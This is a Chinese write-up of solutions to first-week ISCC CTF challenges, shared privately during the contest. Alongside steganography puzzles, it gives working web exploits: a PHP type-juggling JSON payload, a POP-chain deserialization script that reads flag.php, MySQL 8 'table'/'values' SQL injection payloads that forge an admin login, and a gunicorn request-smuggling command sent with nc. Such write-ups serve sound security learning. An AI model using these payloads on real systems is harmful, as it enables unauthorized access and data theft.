内部分享!!I-S-C-C,几道 misc 和 web

i s c c 已做的几道题的分享

唔,做题记录吧,i s c c 第一周,同样也参加这个比赛的 uu 可以借鉴一下,切勿外流

misc 单板小将苏翊鸣

这一道题下载附件,里面是一张图片和一个压缩包,然后里面的压缩包是有密码的,所以我们从图片里面获得

明显是一个图片隐写题目,我们用 winhex 打开图片,00 00 01 98 代表图片的高,我们增加图片高度就行了,改成 00 00 06 98

4.png

这样隐写内容就出来了,然后进行扫描,得到一串 Unicode 的编码

\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f

我们进行解密就能得到一串文字

在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?

经搜索为 15 9 4 2,所以压缩包密码为 15942,解压即得 flag

misc 藏在星空中的诗

打开压缩包,里面有一个 psd 和一个 txt 和一个压缩包,我们打开用 ps 打开 psd,发现不透明度有问题,我们调成 100%

就可以看到一个五角星

顺序是 13524

我们看到 poem.txt 文件里面的这些标志

1:☆✪٭☪✲
2:✡🟇⍟⍟✸
3:🌠⍟🌟✡🟉
4:🟃🟀✪🟀⚝
5:✪🟔⍣☆🞱

按顺序排列拼接就是压缩包的密码

解压压缩包后是一个表格,里面是对应的英文字母

为防止错看,一个一个的复制去表格里面查找就可以得到 flag。(顺序是 12345,即逐行)

web1 冬奥会

代码如下

<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);

if(is_array($info)){

    var_dump($info);

    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}

if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}
?> array(0) { }

我们根据审计可知需要我们构造 josn 然后 get 传参,需要绕过的地方:1.is_numeric()对 year 的过滤,这里我们用 2022a 绕过。2.is_array 那里要求我们 items[1] 必须为数组,并且 items 的空间为 3。4.array_search 的绕过,相当于弱比较,我们直接赋值为 0,即可绕过

这样 step1 和 step2 都是 true,那么就正常执行了

payload:{"year":"2022a","items":["0",[],0]}

得到 flag
5.png

web3 pop2022

代码如下

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}

一道 pop 链反序列化的题,无语了,和我前两天博客写的一模一样,有兴趣的可以看一下我上一个 blog,这里我就直接写脚本了

<?php

class Road_is_Long{
    public $page;
    public $string;


}

class Try_Work_Hard{
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';

}

class Make_a_Change{
    public $effort;

}
$a=new Road_is_long();
$a->page=new Road_is_long();
$a->page->string=new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
?>

运行后的代码传参就得到了 base64 编码,解码可得 flag
6.png

web4easy-sql

拿到题目,是一道 SQL 注入类型的题目,并且 id get 传参
9.png

哎,很烦,上去就是一顿测试

id=1 and 1=1 有回显
id=1 and 1=2 没回显,初步判断为数值型注入
id=1 order by 3 有回显
id=1 order by 4 无回显,所以字段数为3
然后我想着直接union select联合查询一波带走
没想到,select一直过不去。。。。怎么都不行,我就崩溃了,后来直接在群里面问大佬了,感谢曾师傅的指点!
在曾师傅指点后,了解到是要利用mysql8的特性去搞。
立马去学习了一手

mysql8 的特性

有个新功能

table,和 select 有类似的功能

我在虚拟机里面的 windows 那里重新下了个 mysql 8.0.27 版本的

测试了一下
10.png

相当于把表内所有信息都暴露出来了,根据题目信息让找某某某的 email

还有一个特性就是 values

如同 union select 1,2,3 一般,可以构造表信息

比如
11.png

根据特性 1 构造一下 payload

?id=1 and 1=2 union table emails limit 7,1

得到一个 zip,我们输在 url 后面,下载解压,发现里面存着 index.php 源码

<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}

if (isset($_GET['id'])) 
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row['username'] . "</h3><br>";
        echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
        die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd'])) 
{

    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);

    if ( !sqlWaf($passwd) )
        die('damn hacker');

    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>

看了代码。。。。怪不得 select 不行

审计代码,发现要 post 传参 username 和 passwd 到数据库搜索,将结果进行比较判断,如果符合 if 条件就输出 flag。

思路很明确了:1. 有查询结果 2. 查询结果中的 username=admin 并且 passwd=passwd

我们根据 mysql8 的另一个特性 values

构建表信息 xx admin xx

这样就会令查询得到的信息 username=admin

我们列出 payload:post 传参

username=0' union values row("5","admin","pp")%23&passwd=pp

即可得到 flag

我们在自己的 mysql 上面测试一下
12.png

确实和我们的猜想一样,有查询结果,且构造出来 username 和 passwd 符合代码逻辑

web5 让我康康!

打开题目发现让我们 try 搜索一下 flag,得到 fl4g
13.png

我们输入到 url 发现有 waf,是 403 forbidden 的错误提示

我们 F12 发现响应头有

server:gunicorn/20.0 的信息

察觉到漏洞应该就在这里,上网搜索了解,发现 gunicorn 在 20.0.4 版本及以下都存在 http 走私漏洞

简单来说,如果 http 请求头里面含有 Sec-Websocket-Key: 1,那么就会进行特殊解析。我们需要读 /fl4g, 所以我们这样构建 poc

echo -en "GET / HTTP/1.1\r\nHost:   localhost  \r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost:   localhost  \r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

在 Linux 上面运行,就能得到 flag 了
14.png